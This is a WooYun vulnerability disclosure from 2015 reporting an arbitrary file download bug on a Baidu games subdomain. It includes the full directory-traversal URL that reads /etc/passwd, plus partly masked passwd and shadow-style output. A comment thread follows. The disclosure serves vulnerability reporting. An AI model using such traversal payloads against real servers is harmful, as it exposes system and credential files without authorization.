当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0161038

漏洞标题：百度某站任意文件下载

相关厂商：百度

漏洞作者： DloveJ

提交时间：2015-12-13 20:33

修复时间：2016-01-25 18:01

公开时间：2016-01-25 18:01

漏洞类型：任意文件遍历/下载

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-13： 细节已通知厂商并且等待厂商处理中
2015-12-13： 厂商已经确认，细节仅向厂商公开
2015-12-23： 细节向核心白帽子及相关领域专家公开
2016-01-02： 细节向普通白帽子公开
2016-01-12： 细节向实习白帽子公开
2016-01-25： 细节向公众公开

简要描述：

打卡

详细说明：

http://youxi.baidu.com/developerDemo/demo.jsp


我猜这个页面应该是保密的

mask 区域 
*****^^*****
**********
**********
*****^^认证之前PO*****
**********
*****y=27dccf180127259d89d*****
**********
*****^^序后，request^*****
**********
*****e0736700serverId=1*****
*****	*****
*****824610124382461e60002，则^*****
*****		*****
*****^时之间以外的全部空格*****
***** *****
*****cf180127259d89d81737e0736*****
*****	*****
*****^^成的MD5值为(全转大^*****


http://youxi.baidu.com/developerDemo/demoDownload.jsp?file=../../../../../../../../../../../../../../../etc/passwd


mask 区域 
*****:/root:/*****
*****bin:/sbi*****
*****:/sbin:/sb*****
*****r/adm:/sb*****
*****ool/lpd:/s*****
*****:/sbin:/*****
*****wn:/sbin:/s*****
*****:/sbin:/*****
*****/spool/mail*****
*****spool/uucp:/*****
*****tor:/root:/*****
*****/usr/games:*****
*****var/gopher:/*****
*****ser:/:/sb*****
*****body:/:/s*****
*****memory owner:/d*****
*****r":/var/empty/*****
*****pool/postfix*****
*****d SSH:/var/empty*****
*****/var/cache/rpc*****
***** User:/var/lib*****
***** NFS User:/var/li*****
*****/ntp:/sbi*****
*****::/:/sbi*****
*****be used by OProfile:/*****
*****sage bus:/:/*****
***** daemon:/:/*****
*****ck:/var/run/avahi-*****
*****aemon:/:/s*****
*****home/work*****
*****ool/exim:/s*****
*****ome/www:/*****
*****ome/memcache*****


mask 区域 
*****HB5G3fhT5qungLhmNI8Neu21N5UnQ*****
*****:0:999*****
*****3:0:999*****
*****:0:999*****
*****0:9999*****
*****3:0:99*****
*****513:0:9*****
*****3:0:99*****
*****3:0:99*****
*****3:0:99*****
*****513:0:9*****
*****:0:9999*****
*****3:0:999*****
*****:0:999*****
*****3:0:999*****
*****5734:*****
*****:15734*****
*****15734:*****
*****5734:*****
*****4:0:99*****
*****15734:*****
*****!:1573*****
*****734::*****
*****15734:*****
*****:15734*****
*****5734:*****
*****!:1573*****
*****15734*****
*****5734:*****
*****:0:9999*****
*****6653:*****
*****1:0:99*****
*****671:0:99*****


漏洞证明：

修复方案：

版权声明：转载请注明来源 DloveJ@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-12-13 21:33

厂商回复：

感谢对百度安全的关注

最新状态：

暂无

漏洞评价：

评价

  1. 2015-12-13 21:34 | DloveJ ( 普通白帽子 | Rank:1190 漏洞数:215 | Web安全测试培训 QQ269787775)

    好快~

  2. 2015-12-13 22:18 | 心云 ( 普通白帽子 | Rank:184 漏洞数:57 | Rank:200 漏洞数:55 | Rank:300 漏洞数:70 ...)

    @DloveJ 15rank到手 好羡慕 您还收徒弟吗？

  3. 2015-12-13 22:21 | DloveJ ( 普通白帽子 | Rank:1190 漏洞数:215 | Web安全测试培训 QQ269787775)

    @心云 我还能收徒吗？=.=

  4. 2015-12-14 08:34 | 大师兄 ( 路人 | Rank:29 漏洞数:7 | 每日必关注乌云)

    我的好片测漏了...

  5. 2015-12-14 09:20 | 心云 ( 普通白帽子 | Rank:184 漏洞数:57 | Rank:200 漏洞数:55 | Rank:300 漏洞数:70 ...)

    @DloveJ 师傅在上 教我挖洞

  6. 2015-12-14 12:08 | %230CC ( 路人 | Rank:6 漏洞数:2 | 溜溜)

    @心云 为何不先来拜师兄 让师兄带你见师父

  7. 2015-12-14 12:11 | DloveJ ( 普通白帽子 | Rank:1190 漏洞数:215 | Web安全测试培训 QQ269787775)

    @%230CC @心云 →_→

  8. 2015-12-14 12:21 | 大师兄 ( 路人 | Rank:29 漏洞数:7 | 每日必关注乌云)

    @心云 @%230CC 师兄明明是在这里。别乱说。

  9. 2015-12-14 15:08 | %230CC ( 路人 | Rank:6 漏洞数:2 | 溜溜)

    @大师兄 ...我是二师兄。。。

  10. 2015-12-14 15:25 | 大师兄 ( 路人 | Rank:29 漏洞数:7 | 每日必关注乌云)

    @%230CC 你好，二师兄！@八戒 快出来，有人抢饭碗了。

  11. 2015-12-14 16:07 | %230CC ( 路人 | Rank:6 漏洞数:2 | 溜溜)

    @大师兄 猴子休得无礼！

  12. 2015-12-21 23:27 | 八戒 ( 路人 | Rank:17 漏洞数:3 | ~~鬼畜之王~~)

    @大师兄 @%230CC 真二师兄再次